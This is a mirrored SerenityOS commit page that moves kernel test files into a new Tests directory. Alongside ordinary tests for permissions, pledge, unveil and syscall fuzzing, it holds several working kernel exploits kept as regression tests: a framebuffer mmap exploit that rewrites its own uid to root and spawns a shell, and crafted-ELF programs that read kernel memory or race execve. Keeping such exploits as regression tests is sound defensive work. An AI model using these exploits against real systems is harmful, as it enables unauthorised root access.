mirror of
https://github.com/RGBCube/serenity
synced 2025-07-27 02:27:43 +00:00
Tests: Establish root Tests directory, move Userland/Tests there
With the goal of centralizing all tests in the system, this is a first step to establish a Tests sub-tree. It will contain all of the unit tests and test harnesses for the various components in the system.
This commit is contained in:
parent
6e641fadfa
commit
fd0dbd1ebf
49 changed files with 1 additions and 1 deletions
24
Tests/Kernel/CMakeLists.txt
Normal file
24
Tests/Kernel/CMakeLists.txt
Normal file
|
@ -0,0 +1,24 @@
|
|||
file(GLOB CMD_SOURCES CONFIGURE_DEPENDS "*.cpp")
|
||||
file(GLOB LIBTEST_BASED_SOURCES "Test*.cpp")
|
||||
list(REMOVE_ITEM CMD_SOURCES ${LIBTEST_BASED_SOURCES})
|
||||
|
||||
# FIXME: These tests do not use LibTest
|
||||
foreach(CMD_SRC ${CMD_SOURCES})
|
||||
get_filename_component(CMD_NAME ${CMD_SRC} NAME_WE)
|
||||
add_executable(${CMD_NAME} ${CMD_SRC})
|
||||
target_link_libraries(${CMD_NAME} LibCore)
|
||||
install(TARGETS ${CMD_NAME} RUNTIME DESTINATION usr/Tests/Kernel)
|
||||
endforeach()
|
||||
|
||||
|
||||
foreach(TEST_SRC ${LIBTEST_BASED_SOURCES})
|
||||
serenity_test(${TEST_SRC} Kernel)
|
||||
endforeach()
|
||||
|
||||
target_link_libraries(elf-execve-mmap-race LibPthread)
|
||||
target_link_libraries(kill-pidtid-confusion LibPthread)
|
||||
target_link_libraries(nanosleep-race-outbuf-munmap LibPthread)
|
||||
target_link_libraries(null-deref-close-during-select LibPthread)
|
||||
target_link_libraries(null-deref-crash-during-pthread_join LibPthread)
|
||||
target_link_libraries(uaf-close-while-blocked-in-read LibPthread)
|
||||
target_link_libraries(pthread-cond-timedwait-example LibPthread)
|
100
Tests/Kernel/TestKernelFilePermissions.cpp
Normal file
100
Tests/Kernel/TestKernelFilePermissions.cpp
Normal file
|
@ -0,0 +1,100 @@
|
|||
/*
|
||||
* Copyright (c) 2020-2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/String.h>
|
||||
#include <LibCore/File.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_change_file_contents)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
char buffer[8] {};
|
||||
write(fd, buffer, sizeof(buffer));
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_ownership)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
fchown(fd, getuid(), getgid());
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_permissions)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
fchmod(fd, 0755);
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_location)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
auto suid_path = Core::File::read_link(String::formatted("/proc/{}/fd/{}", getpid(), fd));
|
||||
EXPECT(suid_path.characters());
|
||||
auto new_path = String::formatted("{}.renamed", suid_path);
|
||||
|
||||
rename(suid_path.characters(), new_path.characters());
|
||||
|
||||
struct stat s;
|
||||
EXPECT(lstat(new_path.characters(), &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
// Renamed file should retain set-uid/set-gid permissions
|
||||
EXPECT(s.st_mode & S_ISUID);
|
||||
EXPECT(s.st_mode & S_ISGID);
|
||||
|
||||
unlink(new_path.characters());
|
||||
}
|
30
Tests/Kernel/TestKernelPledge.cpp
Normal file
30
Tests/Kernel/TestKernelPledge.cpp
Normal file
|
@ -0,0 +1,30 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_nonexistent_pledge)
|
||||
{
|
||||
auto res = pledge("testing123", "notthere");
|
||||
if (res >= 0)
|
||||
FAIL("Pledging on existent promises should fail.");
|
||||
}
|
||||
|
||||
TEST_CASE(test_pledge_failures)
|
||||
{
|
||||
auto res = pledge("stdio unix rpath", "stdio");
|
||||
if (res < 0)
|
||||
FAIL("Initial pledge is expected to work.");
|
||||
|
||||
res = pledge("stdio unix", "stdio unix");
|
||||
if (res >= 0)
|
||||
FAIL("Additional execpromise \"unix\" should have failed");
|
||||
|
||||
res = pledge("stdio", "stdio");
|
||||
if (res < 0)
|
||||
FAIL("Reducing promises is expected to work.");
|
||||
}
|
55
Tests/Kernel/TestKernelUnveil.cpp
Normal file
55
Tests/Kernel/TestKernelUnveil.cpp
Normal file
|
@ -0,0 +1,55 @@
|
|||
/*
|
||||
* Copyright (c) 2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_failures)
|
||||
{
|
||||
auto res = unveil("/etc", "r");
|
||||
if (res < 0)
|
||||
FAIL("unveil read only failed");
|
||||
|
||||
res = unveil("/etc", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil write permitted after unveil read only");
|
||||
|
||||
res = unveil("/etc", "x");
|
||||
if (res >= 0)
|
||||
FAIL("unveil execute permitted after unveil read only");
|
||||
|
||||
res = unveil("/etc", "c");
|
||||
if (res >= 0)
|
||||
FAIL("unveil create permitted after unveil read only");
|
||||
|
||||
res = unveil("/tmp/doesnotexist", "c");
|
||||
if (res < 0)
|
||||
FAIL("unveil create on non-existent path failed");
|
||||
|
||||
res = unveil("/home", "b");
|
||||
if (res < 0)
|
||||
FAIL("unveil browse failed");
|
||||
|
||||
res = unveil("/home", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil write permitted after unveil browse only");
|
||||
|
||||
res = unveil("/home", "x");
|
||||
if (res >= 0)
|
||||
FAIL("unveil execute permitted after unveil browse only");
|
||||
|
||||
res = unveil("/home", "c");
|
||||
if (res >= 0)
|
||||
FAIL("unveil create permitted after unveil browse only");
|
||||
|
||||
res = unveil(nullptr, nullptr);
|
||||
if (res < 0)
|
||||
FAIL("unveil state lock failed");
|
||||
|
||||
res = unveil("/bin", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil permitted after unveil state locked");
|
||||
}
|
40
Tests/Kernel/bind-local-socket-to-symlink.cpp
Normal file
40
Tests/Kernel/bind-local-socket-to-symlink.cpp
Normal file
|
@ -0,0 +1,40 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
constexpr const char* path = "/tmp/foo";
|
||||
int rc = symlink("bar", path);
|
||||
if (rc < 0) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
if (fd < 0) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
struct sockaddr_un addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
VERIFY(strlcpy(addr.sun_path, path, sizeof(addr.sun_path)) < sizeof(addr.sun_path));
|
||||
|
||||
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
|
||||
if (rc < 0 && errno == EADDRINUSE) {
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
98
Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
Normal file
98
Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
Normal file
|
@ -0,0 +1,98 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/dev/fb0", O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
size_t width = 17825;
|
||||
size_t height = 1000;
|
||||
size_t pitch = width * 4;
|
||||
size_t framebuffer_size_in_bytes = pitch * height * 2;
|
||||
|
||||
FBResolution original_resolution;
|
||||
if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
FBResolution resolution;
|
||||
resolution.width = width;
|
||||
resolution.height = height;
|
||||
resolution.pitch = pitch;
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Success! Evil pointer: %p\n", ptr);
|
||||
|
||||
u8* base = &ptr[128 * MiB];
|
||||
|
||||
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
|
||||
printf("base = %p\n", base);
|
||||
printf("g_processes = %p\n", (void*)g_processes);
|
||||
|
||||
auto get_ptr = [&](uintptr_t value) -> void* {
|
||||
value -= 0xc0000000;
|
||||
return (void*)&base[value];
|
||||
};
|
||||
|
||||
struct ProcessList {
|
||||
uintptr_t head;
|
||||
uintptr_t tail;
|
||||
};
|
||||
|
||||
struct Process {
|
||||
// 32 next
|
||||
// 40 pid
|
||||
// 44 uid
|
||||
u8 dummy[32];
|
||||
uintptr_t next;
|
||||
u8 dummy2[4];
|
||||
pid_t pid;
|
||||
uid_t uid;
|
||||
};
|
||||
|
||||
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
|
||||
|
||||
Process* process = (Process*)get_ptr(process_list->head);
|
||||
|
||||
printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
|
||||
|
||||
if (process->pid == getpid()) {
|
||||
printf("That's me! Let's become r00t!\n");
|
||||
process->uid = 0;
|
||||
}
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
execl("/bin/sh", "sh", nullptr);
|
||||
|
||||
return 0;
|
||||
}
|
26
Tests/Kernel/crash-fcntl-invalid-cmd.cpp
Normal file
26
Tests/Kernel/crash-fcntl-invalid-cmd.cpp
Normal file
|
@ -0,0 +1,26 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
int rc = fcntl(0, -42);
|
||||
if (rc != -1) {
|
||||
printf("FAIL: rc was %d, instead of -1\n", rc);
|
||||
return 1;
|
||||
} else if (errno != EINVAL) {
|
||||
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
|
||||
return 1;
|
||||
} else {
|
||||
printf("PASS\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
143
Tests/Kernel/elf-execve-mmap-race.cpp
Normal file
143
Tests/Kernel/elf-execve-mmap-race.cpp
Normal file
|
@ -0,0 +1,143 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
volatile bool hax = false;
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_W;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
header.e_entry = 0;
|
||||
|
||||
char path[] = "/tmp/x.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
if (fd < 0) {
|
||||
perror("mkstemp");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (fchmod(fd, 0777) < 0) {
|
||||
perror("chmod");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
sync();
|
||||
|
||||
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (mapped == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
|
||||
|
||||
pthread_attr_t attrs;
|
||||
pthread_attr_init(&attrs);
|
||||
sched_param high_prio { 99 };
|
||||
pthread_attr_setschedparam(&attrs, &high_prio);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(
|
||||
&t, &attrs, [](void* ctx) -> void* {
|
||||
auto& ph = *(volatile Elf32_Phdr*)ctx;
|
||||
for (;;) {
|
||||
if (!hax)
|
||||
ph.p_offset = 0x60000000;
|
||||
else
|
||||
ph.p_offset = 0;
|
||||
hax = !hax;
|
||||
usleep(1);
|
||||
}
|
||||
return nullptr;
|
||||
},
|
||||
&writable_program_headers[0]);
|
||||
|
||||
for (;;) {
|
||||
|
||||
if (!fork()) {
|
||||
try_again:
|
||||
printf("exec\n");
|
||||
execl(path, "x", nullptr);
|
||||
goto try_again;
|
||||
}
|
||||
|
||||
printf("waitpid\n");
|
||||
waitpid(-1, nullptr, 0);
|
||||
}
|
||||
return 0;
|
||||
}
|
115
Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp
Normal file
115
Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp
Normal file
|
@ -0,0 +1,115 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
asm("haxcode:\n"
|
||||
"1: jmp 1b\n"
|
||||
"haxcode_end:\n");
|
||||
|
||||
extern "C" void haxcode();
|
||||
extern "C" void haxcode_end();
|
||||
|
||||
#pragma GCC diagnostic ignored "-Wdeprecated-declarations"
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_X;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0x20002000;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
sym[1].st_value = 0x30000000;
|
||||
sym[1].st_name = 0;
|
||||
|
||||
auto* strtab = (char*)&buffer[3072];
|
||||
strcpy(strtab, "sneaky!");
|
||||
|
||||
auto* shstrtab = (char*)&buffer[4096];
|
||||
strcpy(shstrtab, ".strtab");
|
||||
|
||||
auto* code = &buffer[8192];
|
||||
size_t haxcode_size = (uintptr_t)haxcode_end - (uintptr_t)haxcode;
|
||||
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
|
||||
memcpy(code, (void*)haxcode, haxcode_size);
|
||||
|
||||
header.e_entry = 0x20000000 + 8192;
|
||||
|
||||
int fd = open("x", O_RDWR | O_CREAT, 0777);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (execl("/home/anon/x", "x", nullptr) < 0) {
|
||||
perror("execl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
167
Tests/Kernel/fuzz-syscalls.cpp
Normal file
167
Tests/Kernel/fuzz-syscalls.cpp
Normal file
|
@ -0,0 +1,167 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Format.h>
|
||||
#include <AK/String.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <errno.h>
|
||||
#include <mman.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <syscall.h>
|
||||
|
||||
static bool is_deadly_syscall(int fn)
|
||||
{
|
||||
return fn == SC_exit || fn == SC_fork || fn == SC_sigreturn || fn == SC_exit_thread;
|
||||
}
|
||||
|
||||
static bool is_unfuzzable_syscall(int fn)
|
||||
{
|
||||
return fn == SC_dump_backtrace || fn == SC_munmap || fn == SC_kill || fn == SC_killpg;
|
||||
}
|
||||
|
||||
static bool is_nosys_syscall(int fn)
|
||||
{
|
||||
return fn == SC_futex || fn == SC_emuctl;
|
||||
}
|
||||
|
||||
static bool is_bad_idea(int fn, const size_t* direct_sc_args, const size_t* fake_sc_params, const char* some_string)
|
||||
{
|
||||
switch (fn) {
|
||||
case SC_mprotect:
|
||||
// This would mess with future tests or crash the fuzzer.
|
||||
return direct_sc_args[0] == (size_t)fake_sc_params || direct_sc_args[0] == (size_t)some_string;
|
||||
case SC_read:
|
||||
case SC_readv:
|
||||
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
|
||||
return direct_sc_args[0] == 1;
|
||||
case SC_write:
|
||||
case SC_writev:
|
||||
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
|
||||
return direct_sc_args[0] == 0;
|
||||
case SC_pledge:
|
||||
// Equivalent to pledge(nullptr, _), which would kill the fuzzer.
|
||||
return direct_sc_args[0] == (size_t)fake_sc_params && fake_sc_params[1] == 0;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static void do_systematic_tests()
|
||||
{
|
||||
int rc;
|
||||
|
||||
for (int i = 0; i < Syscall::Function::__Count; ++i) {
|
||||
dbgln("Testing syscall #{} ({})", i, Syscall::to_string((Syscall::Function)i));
|
||||
if (is_deadly_syscall(i)) {
|
||||
dbgln("(skipping deadly syscall)");
|
||||
continue;
|
||||
}
|
||||
// This is pure torture
|
||||
rc = syscall(Syscall::Function(i), 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc != -ENOSYS || is_nosys_syscall(i));
|
||||
}
|
||||
|
||||
// Finally, test invalid syscalls:
|
||||
dbgln("Testing syscall #{} (n+1)", (int)Syscall::Function::__Count);
|
||||
rc = syscall(Syscall::Function::__Count, 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc == -ENOSYS);
|
||||
dbgln("Testing syscall #-1");
|
||||
rc = syscall(Syscall::Function(-1), 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc == -ENOSYS);
|
||||
}
|
||||
|
||||
static void randomize_from(size_t* buffer, size_t len, const Vector<size_t>& values)
|
||||
{
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
buffer[i] = values[arc4random_uniform(values.size())];
|
||||
}
|
||||
}
|
||||
|
||||
// The largest SC_*_params struct is SC_mmap_params with 36 bytes.
|
||||
static_assert(sizeof(size_t) == 4, "Cannot handle size_t != 4 bytes");
|
||||
static const size_t fake_params_count = 36 / sizeof(size_t);
|
||||
|
||||
static void do_weird_call(size_t attempt, int syscall_fn, size_t arg1, size_t arg2, size_t arg3, size_t* fake_params)
|
||||
{
|
||||
// Report to dbg what we're about to do, in case it's interesting:
|
||||
StringBuilder builder;
|
||||
builder.appendff("#{}: Calling {}({:p}, {:p}, {:p}) with {:p} containing [",
|
||||
attempt, Syscall::to_string((Syscall::Function)syscall_fn), arg1, arg2, arg3, fake_params);
|
||||
for (size_t i = 0; i < fake_params_count; ++i) {
|
||||
if (i != 0)
|
||||
builder.append(", ");
|
||||
builder.appendff("{:p}", fake_params[i]);
|
||||
}
|
||||
builder.append("]");
|
||||
dbgln("{}", builder.build());
|
||||
|
||||
// Actually do the syscall ('fake_params' is passed indirectly, if any of arg1, arg2, or arg3 point to it.
|
||||
int rc = syscall(Syscall::Function(syscall_fn), arg1, arg2, arg3);
|
||||
VERIFY(rc != -ENOSYS || is_nosys_syscall(syscall_fn));
|
||||
}
|
||||
|
||||
static void do_random_tests()
|
||||
{
|
||||
// Make it less likely to kill ourselves due to sys$alarm(1):
|
||||
{
|
||||
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
|
||||
int rc = sigaction(SIGALRM, &act_ignore, nullptr);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
// Note that we will also make lots of syscalls for randomness and debugging.
|
||||
const size_t fuzz_syscall_count = 10000;
|
||||
|
||||
size_t direct_sc_args[3] = { 0 };
|
||||
// Isolate to a separate region to make corruption less likely, because we will write to it:
|
||||
auto* fake_sc_params = reinterpret_cast<size_t*>(mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_RANDOMIZED, 0, 0));
|
||||
const char* some_string = "Hello, world!";
|
||||
Vector<size_t> interesting_values = {
|
||||
0,
|
||||
1,
|
||||
reinterpret_cast<size_t>(some_string),
|
||||
strlen(some_string),
|
||||
reinterpret_cast<size_t>(fake_sc_params),
|
||||
0xc0000000,
|
||||
0xc0000000 - PAGE_SIZE,
|
||||
0xffffffff,
|
||||
};
|
||||
dbgln("Doing a few random syscalls with:");
|
||||
for (unsigned long& interesting_value : interesting_values) {
|
||||
dbgln(" {0} ({0:p})", interesting_value);
|
||||
}
|
||||
for (size_t i = 0; i < fuzz_syscall_count; ++i) {
|
||||
// Construct a nice syscall:
|
||||
int syscall_fn = arc4random_uniform(Syscall::Function::__Count);
|
||||
randomize_from(direct_sc_args, array_size(direct_sc_args), interesting_values);
|
||||
randomize_from(fake_sc_params, fake_params_count, interesting_values);
|
||||
|
||||
if (is_deadly_syscall(syscall_fn)
|
||||
|| is_unfuzzable_syscall(syscall_fn)
|
||||
|| is_bad_idea(syscall_fn, direct_sc_args, fake_sc_params, some_string)) {
|
||||
// Retry, and don't count towards syscall limit.
|
||||
--i;
|
||||
continue;
|
||||
}
|
||||
|
||||
do_weird_call(i, syscall_fn, direct_sc_args[0], direct_sc_args[1], direct_sc_args[2], fake_sc_params);
|
||||
}
|
